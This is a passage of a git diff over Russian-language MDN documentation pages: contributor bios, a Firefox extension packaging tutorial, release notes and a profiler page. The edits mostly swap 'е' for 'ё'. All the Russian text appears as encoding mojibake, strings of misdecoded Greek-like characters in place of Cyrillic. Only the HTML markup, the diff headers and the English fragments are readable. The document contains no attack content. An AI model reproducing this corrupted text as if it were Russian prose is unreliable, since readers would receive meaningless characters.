Π²Π½ΠΎΡΠΈΡ‚ΡŒ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΡ€Π°Π²ΠΊΠΈ Π² Π²ΠΈΠΊΠΈ.</span></span> Π’ настоящСС врСмя ΠΎΠ½Π° Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ тСхничСским писатСлСм Π² Red Hat ΠΈ с Π³ΠΎΡ€Π΄ΠΎΡΡ‚ΡŒΡŽ ΡƒΡ‚Π²Π΅Ρ€ΠΆΠ΄Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ Π΅Π΅ интСрСс ΠΊ тСхничСскому ΠΏΠΈΡΠ°Ρ‚Π΅Π»ΡŒΡΡ‚Π²Ρƒ начался с Π΅Π΅ Π²ΠΊΠ»Π°Π΄Π° Π² MDN, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π² ΠΊΠΎΠ½Π΅Ρ‡Π½ΠΎΠΌ ΠΈΡ‚ΠΎΠ³Π΅ ΠΎΠΊΠ°Π·Π°Π» большоС влияниС Π½Π° Π΅Π΅ Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ ΠΎ ΠΊΠ°Ρ€ΡŒΠ΅Ρ€Π΅.</p>
+<p><a href="/profiles/Priyanka13">Priyanka Nag</a> ΠΏΡ€ΠΈΡΠΎΠ΅Π΄ΠΈΠ½ΠΈΠ»Π°ΡΡŒ ΠΊ MDN Π² 2012 Π³ΠΎΠ΄Ρƒ, Π½ΠΎ стала Π°ΠΊΡ‚ΠΈΠ²Π½ΠΎ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ с сообщСством MDN Ρ‚ΠΎΠ»ΡŒΠΊΠΎ послС саммита Mozilla Π² 2013 Π³ΠΎΠ΄Ρƒ, Π³Π΄Π΅ ΠΎΠ½Π° Π²ΡΡ‚Ρ€Π΅Ρ‚ΠΈΠ»Π°ΡΡŒ ΠΈ Ρ€Π°Π±ΠΎΡ‚Π°Π»Π° с Luke Crouch ΠΈ David Walsh ΠΈΠ· ΠΊΠΎΠΌΠ°Π½Π΄Ρ‹ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΎΠ² MDN; <span class="tlid-translation translation" lang="ru"><span title="">это послуТило Π΅Ρ‘ Π³Π»Π°Π²Π½Ρ‹ΠΌ Π²Π΄ΠΎΡ…Π½ΠΎΠ²Π΅Π½ΠΈΠ΅ΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π½Π°Ρ‡Π°Ρ‚ΡŒ Π²Π½ΠΎΡΠΈΡ‚ΡŒ свой Π²ΠΊΠ»Π°Π΄ Π² MDN.</span></span> Priyanka <span class="tlid-translation translation" lang="ru"><span title="">Π² основном Π»ΡŽΠ±ΠΈΡ‚ ΠΏΡ€ΠΎΠΏΠΎΠ²Π΅Π΄ΠΎΠ²Π°Ρ‚ΡŒ MDN, ΠΏΡ€ΠΎΠ²ΠΎΠ΄ΠΈΡ‚ΡŒ мСроприятия MDN ΠΈ Π·Π½Π°ΠΊΠΎΠΌΠΈΡ‚ΡŒ с MDN большС людСй, Π° Ρ‚Π°ΠΊΠΆΠ΅ врСмя ΠΎΡ‚ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ Π²Π½ΠΎΡΠΈΡ‚ΡŒ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΡ€Π°Π²ΠΊΠΈ Π² Π²ΠΈΠΊΠΈ.</span></span> Π’ настоящСС врСмя ΠΎΠ½Π° Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ тСхничСским писатСлСм Π² Red Hat ΠΈ с Π³ΠΎΡ€Π΄ΠΎΡΡ‚ΡŒΡŽ ΡƒΡ‚Π²Π΅Ρ€ΠΆΠ΄Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ Π΅Ρ‘ интСрСс ΠΊ тСхничСскому ΠΏΠΈΡΠ°Ρ‚Π΅Π»ΡŒΡΡ‚Π²Ρƒ начался с Π΅Ρ‘ Π²ΠΊΠ»Π°Π΄Π° Π² MDN, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π² ΠΊΠΎΠ½Π΅Ρ‡Π½ΠΎΠΌ ΠΈΡ‚ΠΎΠ³Π΅ ΠΎΠΊΠ°Π·Π°Π» большоС влияниС Π½Π° Π΅Ρ‘ Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ ΠΎ ΠΊΠ°Ρ€ΡŒΠ΅Ρ€Π΅.</p>
<h3 id="Saurabh_Nair_Π”ΠΎΠ±Ρ€ΠΎΠ²ΠΎΠ»Π΅Ρ†">Saurabh Nair<br>
<small>Π”ΠΎΠ±Ρ€ΠΎΠ²ΠΎΠ»Π΅Ρ†</small></h3>
-<p><a href="/profiles/jsx">Saurabh</a> ΠΎΠ½ вносит свой Π²ΠΊΠ»Π°Π΄ Π² MDN с 2011 Π³ΠΎΠ΄Π° ΠΈ стал Π±ΠΎΠ»Π΅Π΅ Π°ΠΊΡ‚ΠΈΠ²Π½Ρ‹ΠΌ Π² ΠΏΡ€ΠΎΡˆΠ»ΠΎΠΌ Π³ΠΎΠ΄Ρƒ. Он Π²Ρ…ΠΎΠ΄ΠΈΡ‚ Π² ΠΊΠΎΠΌΠ°Π½Π΄Ρƒ β€œspam watch”, которая слСдит Π·Π° спам-страницами, удаляя ΠΈΡ… ΠΈ запрСщая спамСров, ΠΊΠ°ΠΊ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΠ½ΠΈ ΠΏΠΎΡΠ²Π»ΡΡŽΡ‚ΡΡ. ΠŸΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ ΠΎΠ½ ΠΆΠΈΠ²Π΅Ρ‚ Π² Индии, ΠΎΠ½ ΠΌΠΎΠΆΠ΅Ρ‚ Π΄Π΅Π»Π°Ρ‚ΡŒ это, ΠΏΠΎΠΊΠ° сотрудники MDN Π² Π•Π²Ρ€ΠΎΠΏΠ΅ ΠΈ Π‘Π΅Π²Π΅Ρ€Π½ΠΎΠΉ АмСрикС спят.</p>
+<p><a href="/profiles/jsx">Saurabh</a> ΠΎΠ½ вносит свой Π²ΠΊΠ»Π°Π΄ Π² MDN с 2011 Π³ΠΎΠ΄Π° ΠΈ стал Π±ΠΎΠ»Π΅Π΅ Π°ΠΊΡ‚ΠΈΠ²Π½Ρ‹ΠΌ Π² ΠΏΡ€ΠΎΡˆΠ»ΠΎΠΌ Π³ΠΎΠ΄Ρƒ. Он Π²Ρ…ΠΎΠ΄ΠΈΡ‚ Π² ΠΊΠΎΠΌΠ°Π½Π΄Ρƒ β€œspam watch”, которая слСдит Π·Π° спам-страницами, удаляя ΠΈΡ… ΠΈ запрСщая спамСров, ΠΊΠ°ΠΊ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΠ½ΠΈ ΠΏΠΎΡΠ²Π»ΡΡŽΡ‚ΡΡ. ΠŸΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ ΠΎΠ½ ΠΆΠΈΠ²Ρ‘Ρ‚ Π² Индии, ΠΎΠ½ ΠΌΠΎΠΆΠ΅Ρ‚ Π΄Π΅Π»Π°Ρ‚ΡŒ это, ΠΏΠΎΠΊΠ° сотрудники MDN Π² Π•Π²Ρ€ΠΎΠΏΠ΅ ΠΈ Π‘Π΅Π²Π΅Ρ€Π½ΠΎΠΉ АмСрикС спят.</p>
<h3 id="Eric_Shepherd_Sheppy_Senior_Technical_Writer">Eric Shepherd (Sheppy)<br>
<small>Senior Technical Writer</small></h3>
diff --git a/files/ru/conflicting/mozilla/add-ons/index.html b/files/ru/conflicting/mozilla/add-ons/index.html
index 11dde5714b..09e3f37570 100644
--- a/files/ru/conflicting/mozilla/add-ons/index.html
+++ b/files/ru/conflicting/mozilla/add-ons/index.html
@@ -129,7 +129,7 @@ original_slug: Building_an_Extension
<li>Π½Π°Π·Π²Π°Π½ΠΈΠ΅ chrome ΠΏΠ°ΠΊΠ΅Ρ‚Π° (ΡƒΠ΄ΠΎΡΡ‚ΠΎΠ²Π΅Ρ€ΡŒΡ‚Π΅ΡΡŒ, Ρ‡Ρ‚ΠΎ Π’Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅ всС символы Π² Π½ΠΈΠΆΠ½Π΅ΠΌ рСгистрС для ΠΈΠΌΠ΅Π½ΠΈ ΠΏΠ°ΠΊΠ΅Ρ‚Π° ("sample"), Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ Π²ΠΎ 2-ΠΉ вСрсии Π½Π΅ поддСрТиваСтся ΡΠΌΠ΅ΡˆΠ°Π½Π½Ρ‹Π΅ рСгистры ΠΈ Π²Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚Π΅ ΠΎΡˆΠΈΠ±ΠΊΡƒ {{ Bug(132183) }}</li>
<li>мСстополоТСниС Ρ„Π°ΠΉΠ»ΠΎΠ² chrome ΠΏΠ°ΠΊΠ΅Ρ‚Π°</li>
</ol>
-<p>Π­Ρ‚Π° строка Π³ΠΎΠ²ΠΎΡ€ΠΈΡ‚, Ρ‡Ρ‚ΠΎ для chrome ΠΏΠ°ΠΊΠ΅Ρ‚Π° с ΠΈΠΌΠ΅Π½Π΅ΠΌ <strong>sample</strong>, Ρ„Π°ΠΉΠ»Ρ‹ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΎΠ½Π½ΠΎΠ³ΠΎ наполнСния находятся Π² <code>chrome/content</code>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ являСтся ΠΏΡƒΡ‚Π΅ΠΌ ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ мСстополоТСния <code>chrome.manifest</code>.</p>
+<p>Π­Ρ‚Π° строка Π³ΠΎΠ²ΠΎΡ€ΠΈΡ‚, Ρ‡Ρ‚ΠΎ для chrome ΠΏΠ°ΠΊΠ΅Ρ‚Π° с ΠΈΠΌΠ΅Π½Π΅ΠΌ <strong>sample</strong>, Ρ„Π°ΠΉΠ»Ρ‹ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΎΠ½Π½ΠΎΠ³ΠΎ наполнСния находятся Π² <code>chrome/content</code>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ являСтся ΠΏΡƒΡ‚Ρ‘ΠΌ ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ мСстополоТСния <code>chrome.manifest</code>.</p>
<p>Π—Π°ΠΌΠ΅Ρ‚ΡŒΡ‚Π΅, Ρ‡Ρ‚ΠΎ content, locale ΠΈ skin Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ сохранСны ΠΊΠ°ΠΊ ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³ΠΈ, с ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΌΠΈ ΠΈΠΌΠ΅Π½Π°ΠΌΠΈ content, locale ΠΈ skin Π² ΠΏΠΎΠ΄ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³Π΅ <code>chrome</code>.</p>
<p>Π‘ΠΎΡ…Ρ€Π°Π½ΠΈΡ‚Π΅ Ρ„Π°ΠΉΠ». Когда Π’Ρ‹ запуститС Firefox со своим Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠ΅ΠΌ, (это Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΠΎΠ·ΠΆΠ΅ Π² Π΄Π°Π½Π½ΠΎΠΌ ΡƒΡ€ΠΎΠΊΠ΅), chrome ΠΏΠ°ΠΊΠ΅Ρ‚ Π±ΡƒΠ΄Π΅Ρ‚ зарСгистрирован.</p>
<h2 id="Register_an_Overlay" name="Register_an_Overlay">РСгистрация ΠžΠ²Π΅Ρ€Π»Π΅Ρ</h2>
@@ -150,8 +150,8 @@ original_slug: Building_an_Extension
<p>ЗапуститС Firefox. Firefox ΠΎΠ±Π½Π°Ρ€ΡƒΠΆΠΈΡ‚ ссылку Π½Π° ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³ вашСго Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΡ ΠΈ установит Π΅Π³ΠΎ. Когда появится ΠΎΠΊΠ½ΠΎ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ тСкст "Hello, World!" Π½Π° ΠΏΡ€Π°Π²ΠΎΠΉ сторонС Π² ΠΏΠ°Π½Π΅Π»ΠΈ статуса.</p>
<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²Π΅Ρ€Π½ΡƒΡ‚ΡŒΡΡ ΠΈ внСсти Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹Π΅ измСнСния Π² .xul Ρ„Π°ΠΉΠ», послС Ρ‡Π΅Π³ΠΎ Π·Π°ΠΊΡ€Ρ‹Ρ‚ΡŒ ΠΈ ΠΏΠ΅Ρ€Π΅Π·Π°ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ Firefox ΠΈ измСнСния Π½Π΅ΠΌΠ΅Π΄Π»Π΅Π½Π½ΠΎ вступят Π² силу.</p>
<h2 id="Package" name="Package">Π£ΠΏΠ°ΠΊΠΎΠ²ΠΊΠ°</h2>
-<p>Π’Π΅ΠΏΠ΅Ρ€ΡŒ, ΠΊΠΎΠ³Π΄Π° вашС Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠ΅ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π΅Π³ΠΎ <a href="/en/Extension_Packaging" title="en/Extension_Packaging">ΡƒΠΏΠ°ΠΊΠΎΠ²Π°Ρ‚ΡŒ</a> для ΠΏΠΎΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π³ΠΎ развСртывания ΠΈ установки.</p>
-<p>Π—Π° "Π·ΠΈΠΏΡƒΠΉΡ‚Π΅" ΠΏΠ°ΠΏΠΊΡƒ <strong>contents</strong> вашСго Π Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΡ (Π½Π΅ саму ΠΏΠ°ΠΏΠΊΡƒ Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΡ), ΠΈ ΠΏΠ΅Ρ€Π΅ΠΈΠΌΠ΅Π½ΡƒΠΉΡ‚Π΅ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΠ²ΡˆΠΈΠΉΡΡ zip Ρ„Π°ΠΉΠ», Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ½ ΠΈΠΌΠ΅Π» Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠ΅ .xpi. Π’ Windows XP, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ это ΠΎΡ‡Π΅Π½ΡŒ просто, Π²Ρ‹Π±Ρ€Π°Π² всС Ρ„Π°ΠΉΠ»Ρ‹ ΠΈ Π²Π»ΠΎΠΆΠ΅Π½Π½Ρ‹Π΅ ΠΏΠ°ΠΏΠΊΠΈ Π² ΠΏΠ°ΠΏΠΊΠ΅ вашСго Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΡ, ΠΈ Ρ‰Π΅Π»ΠΊΠ½ΡƒΠ² ΠΏΡ€Π°Π²ΠΎΠΉ ΠΊΠ½ΠΎΠΏΠΊΠΎΠΉ ΠΌΡ‹ΡˆΠΈ ΠΈ Π²Ρ‹Π±Ρ€Π°Π² "Send To -&gt; Compressed (Zipped) Folder". Zip Ρ„Π°ΠΉΠ» Π±ΡƒΠ΄Π΅Ρ‚ создан. ΠŸΡ€ΠΎΡΡ‚ΠΎ ΠΏΠ΅Ρ€Π΅ΠΈΠΌΠ΅Π½ΡƒΠΉΡ‚Π΅ Π΅Π³ΠΎ, ΠΈ Π³ΠΎΡ‚ΠΎΠ²ΠΎ!</p>
+<p>Π’Π΅ΠΏΠ΅Ρ€ΡŒ, ΠΊΠΎΠ³Π΄Π° вашС Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠ΅ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π΅Π³ΠΎ <a href="/en/Extension_Packaging" title="en/Extension_Packaging">ΡƒΠΏΠ°ΠΊΠΎΠ²Π°Ρ‚ΡŒ</a> для ΠΏΠΎΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π³ΠΎ развёртывания ΠΈ установки.</p>
+<p>Π—Π° "Π·ΠΈΠΏΡƒΠΉΡ‚Π΅" ΠΏΠ°ΠΏΠΊΡƒ <strong>contents</strong> вашСго Π Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΡ (Π½Π΅ саму ΠΏΠ°ΠΏΠΊΡƒ Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΡ), ΠΈ ΠΏΠ΅Ρ€Π΅ΠΈΠΌΠ΅Π½ΡƒΠΉΡ‚Π΅ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΠ²ΡˆΠΈΠΉΡΡ zip Ρ„Π°ΠΉΠ», Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ½ ΠΈΠΌΠ΅Π» Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠ΅ .xpi. Π’ Windows XP, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ это ΠΎΡ‡Π΅Π½ΡŒ просто, Π²Ρ‹Π±Ρ€Π°Π² всС Ρ„Π°ΠΉΠ»Ρ‹ ΠΈ Π²Π»ΠΎΠΆΠ΅Π½Π½Ρ‹Π΅ ΠΏΠ°ΠΏΠΊΠΈ Π² ΠΏΠ°ΠΏΠΊΠ΅ вашСго Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΡ, ΠΈ Ρ‰Ρ‘Π»ΠΊΠ½ΡƒΠ² ΠΏΡ€Π°Π²ΠΎΠΉ ΠΊΠ½ΠΎΠΏΠΊΠΎΠΉ ΠΌΡ‹ΡˆΠΈ ΠΈ Π²Ρ‹Π±Ρ€Π°Π² "Send To -&gt; Compressed (Zipped) Folder". Zip Ρ„Π°ΠΉΠ» Π±ΡƒΠ΄Π΅Ρ‚ создан. ΠŸΡ€ΠΎΡΡ‚ΠΎ ΠΏΠ΅Ρ€Π΅ΠΈΠΌΠ΅Π½ΡƒΠΉΡ‚Π΅ Π΅Π³ΠΎ, ΠΈ Π³ΠΎΡ‚ΠΎΠ²ΠΎ!</p>
<p>Π’ Mac OS X, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π½Π°ΠΆΠ°Ρ‚ΡŒ ΠΏΡ€Π°Π²ΠΎΠΉ ΠΊΠ½ΠΎΠΏΠΊΠΎΠΉ ΠΌΡ‹ΡˆΠΈ Π½Π° ΠΏΠ°ΠΏΠΊΠ΅ <strong>contents</strong> вашСго Π Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΡ ΠΈ Π²Ρ‹Π±Ρ€Π°Ρ‚ΡŒ "Π‘ΠΎΠ·Π΄Π°Ρ‚ΡŒ Π°Ρ€Ρ…ΠΈΠ² ..." для создания Π°Ρ€Ρ…ΠΈΠ²Π°. Однако, Mac OS X добавляСт скрытыС Ρ„Π°ΠΉΠ»Ρ‹ Π² ΠΏΠ°ΠΏΠΊΡƒ. ΠŸΠΎΡΡ‚ΠΎΠΌΡƒ слСдуСт ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Terminal, для удалСния скрытых Ρ„Π°ΠΉΠ»ΠΎΠ² (Ρ‡ΡŒΠΈ ΠΈΠΌΠ΅Π½Π° Π½Π°Ρ‡ΠΈΠ½Π°ΡŽΡ‚ΡΡ с ΠΏΠ΅Ρ€ΠΈΠΎΠ΄Π°), Π° Π·Π°Ρ‚Π΅ΠΌ ввСсти Π² ΠΊΠΎΠΌΠ°Π½Π΄Π½ΠΎΠΉ строкС zip ΠΊΠΎΠΌΠ°Π½Π΄Ρƒ для создания Π°Ρ€Ρ…ΠΈΠ²Π°.</p>
<p>Π’ Linux, Π²Ρ‹ Π°Π½Π°Π»ΠΎΠ³ΠΈΡ‡Π½Ρ‹ΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π² ΠΊΠΎΠΌΠ°Π½Π΄Π½ΠΎΠΉ строкС Zip инструмСнты.</p>
<p>Если Ρƒ вас установлСно Extension Builder Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π΅Π³ΠΎ для сборки .xpi Ρ„Π°ΠΉΠ»Π° (Tools -&gt; Extension Developer -&gt; Extension Builder). ΠŸΡ€ΠΎΡΡ‚ΠΎ Π²Ρ‹Π±Π΅Ρ€ΠΈΡ‚Π΅ ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³, Π³Π΄Π΅ находится вашС Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠ΅ (install.rdf Ρ‚.Π΄.), ΠΈ Π½Π°ΠΆΠΌΠΈΡ‚Π΅ ΠΊΠ½ΠΎΠΏΠΊΡƒ Build Extension (ΠŸΠΎΡΡ‚Ρ€ΠΎΠΈΡ‚ΡŒ Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠ΅). Π­Ρ‚ΠΎ Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠ΅ ΠΈΠΌΠ΅Π΅Ρ‚ мноТСство инструмСнтов для облСгчСния процСсса создания Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠΉ.</p>
diff --git a/files/ru/conflicting/mozilla/firefox/releases/index.html b/files/ru/conflicting/mozilla/firefox/releases/index.html
index 7fbfd3fe07..d5066a55be 100644
--- a/files/ru/conflicting/mozilla/firefox/releases/index.html
+++ b/files/ru/conflicting/mozilla/firefox/releases/index.html
@@ -121,7 +121,7 @@ original_slug: Tools/Release_notes
<ul>
<li><a href="/ru/docs/Tools/Shader_Editor">Π Π΅Π΄Π°ΠΊΡ‚ΠΎΡ€ ΡˆΠ΅ΠΉΠ΄Π΅Ρ€ΠΎΠ²</a> позволяСт ΠΏΡ€ΠΎΡΠΌΠ°Ρ‚Ρ€ΠΈΠ²Π°Ρ‚ΡŒ ΠΈ Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΡˆΠ΅ΠΉΠ΄Π΅Ρ€Ρ‹ WebGL</li>
- <li>Π’ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΠΏΠΎΡΡ‚Π°Π²ΠΈΡ‚ΡŒ Ρ‚ΠΎΡ‡ΠΊΡƒ остановки Π² Π΄Π΅Π±Π°Π³Π³Π΅Ρ€Π΅ Π½Π° ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ΅ <a href="/ru/docs/Tools/Debugger#Break_on_a_DOM_event">DOM событиС</a> ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π’Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΠΎΡ‚Π»ΠΎΠ²ΠΈΡ‚ΡŒ</li>
+ <li>Π’ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΠΏΠΎΡΡ‚Π°Π²ΠΈΡ‚ΡŒ Ρ‚ΠΎΡ‡ΠΊΡƒ остановки Π² Π΄Π΅Π±Π°Π³Π³Π΅Ρ€Π΅ Π½Π° ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ΅ <a href="/ru/docs/Tools/Debugger#Break_on_a_DOM_event">DOM событиС</a> ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π’Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΠΎΡ‚Π»ΠΎΠ²ΠΈΡ‚ΡŒ</li>
<li><a href="/ru/docs/Tools/Page_Inspector#Editing_HTML">Π Π΅Π΄Π°ΠΊΡ‚ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ HTML Π² Π˜Π½ΡΠΏΠ΅ΠΊΡ‚ΠΎΡ€Π΅</a></li>
<li>See color swatches and background images in the Inspector's <a href="/ru/docs/Tools/Page_Inspector#Rules_view">Rules view</a></li>
<li>The Web Π’Π΅Π± консольConsole now <a href="/ru/docs/Tools/Web_Console#Reflow_events">logs reflow events</a></li>
diff --git a/files/ru/conflicting/tools/performance/index.html b/files/ru/conflicting/tools/performance/index.html
index b28bb78ca3..6b578829f1 100644
--- a/files/ru/conflicting/tools/performance/index.html
+++ b/files/ru/conflicting/tools/performance/index.html
@@ -71,7 +71,7 @@ Sample C: doSomething() &gt; logTheValue()</pre>
<p>ПанСль Ρ€Π°Π·Π΄Π΅Π»Π΅Π½Π° Π½Π° Π΄Π²Π΅ части:</p>
<ul>
- <li>ЛСвая сторона содСрТит список всСх записанных ΠΏΡ€ΠΎΡ„ΠΈΠ»Π΅ΠΉ ΠΈ позволяСт Π·Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚ΡŒ любой ΠΈΠ· Π½ΠΈΡ…. НиТС находятся Π΄Π²Π΅ ΠΊΠ½ΠΎΠΏΠΊΠΈ: <em>stopwatch</em> позволяСт Π·Π°ΠΏΠΈΡΠ°Ρ‚ΡŒ Π½ΠΎΠ²Ρ‹ΠΉ ΠΏΡ€ΠΎΡ„ΠΈΠ»ΡŒ, Π² Ρ‚ΠΎ врСмя ΠΊΠ°ΠΊ<em> import... </em>позволяСт ΠΈΠΌΠΏΠΎΡ€Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Ρ€Π°Π½Π΅Π΅ сохранСнныС Π΄Π°Π½Π½Ρ‹Π΅. Когда ΠΏΡ€ΠΎΡ„ΠΈΠ»ΡŒ Π²Ρ‹Π±Ρ€Π°Π½, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΠΎΡ…Ρ€Π°Π½ΠΈΡ‚ΡŒ Π΅Π³ΠΎ Π΄Π°Π½Π½Ρ‹Π΅ ΠΊΠ°ΠΊ Ρ„Π°ΠΉΠ» Π² Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π΅ JSON Π½Π°ΠΆΠ°Π² Π½Π° ΠΊΠ½ΠΎΠΏΠΊΠ΅ <em>Save</em>.</li>
+ <li>ЛСвая сторона содСрТит список всСх записанных ΠΏΡ€ΠΎΡ„ΠΈΠ»Π΅ΠΉ ΠΈ позволяСт Π·Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚ΡŒ любой ΠΈΠ· Π½ΠΈΡ…. НиТС находятся Π΄Π²Π΅ ΠΊΠ½ΠΎΠΏΠΊΠΈ: <em>stopwatch</em> позволяСт Π·Π°ΠΏΠΈΡΠ°Ρ‚ΡŒ Π½ΠΎΠ²Ρ‹ΠΉ ΠΏΡ€ΠΎΡ„ΠΈΠ»ΡŒ, Π² Ρ‚ΠΎ врСмя ΠΊΠ°ΠΊ<em> import... </em>позволяСт ΠΈΠΌΠΏΠΎΡ€Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Ρ€Π°Π½Π΅Π΅ сохранённыС Π΄Π°Π½Π½Ρ‹Π΅. Когда ΠΏΡ€ΠΎΡ„ΠΈΠ»ΡŒ Π²Ρ‹Π±Ρ€Π°Π½, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΠΎΡ…Ρ€Π°Π½ΠΈΡ‚ΡŒ Π΅Π³ΠΎ Π΄Π°Π½Π½Ρ‹Π΅ ΠΊΠ°ΠΊ Ρ„Π°ΠΉΠ» Π² Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π΅ JSON Π½Π°ΠΆΠ°Π² Π½Π° ΠΊΠ½ΠΎΠΏΠΊΠ΅ <em>Save</em>.</li>
<li>ΠŸΡ€Π°Π²Π°Ρ сторона ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ Ρ‚Π΅ΠΊΡƒΡ‰ΠΈΠΉ Π·Π°Π³Ρ€ΡƒΠΆΠ΅Π½Π½Ρ‹ΠΉ ΠΏΡ€ΠΎΡ„ΠΈΠ»ΡŒ.</li>
</ul>
diff --git a/files/ru/conflicting/web/api/document_object_model/index.html b/files/ru/conflicting/web/api/document_object_model/index.html
index def3b15b61..1432597b41 100644
--- a/files/ru/conflicting/web/api/document_object_model/index.html
+++ b/files/ru/conflicting/web/api/document_object_model/index.html
@@ -35,7 +35,7 @@ original_slug: DOM
<dt>
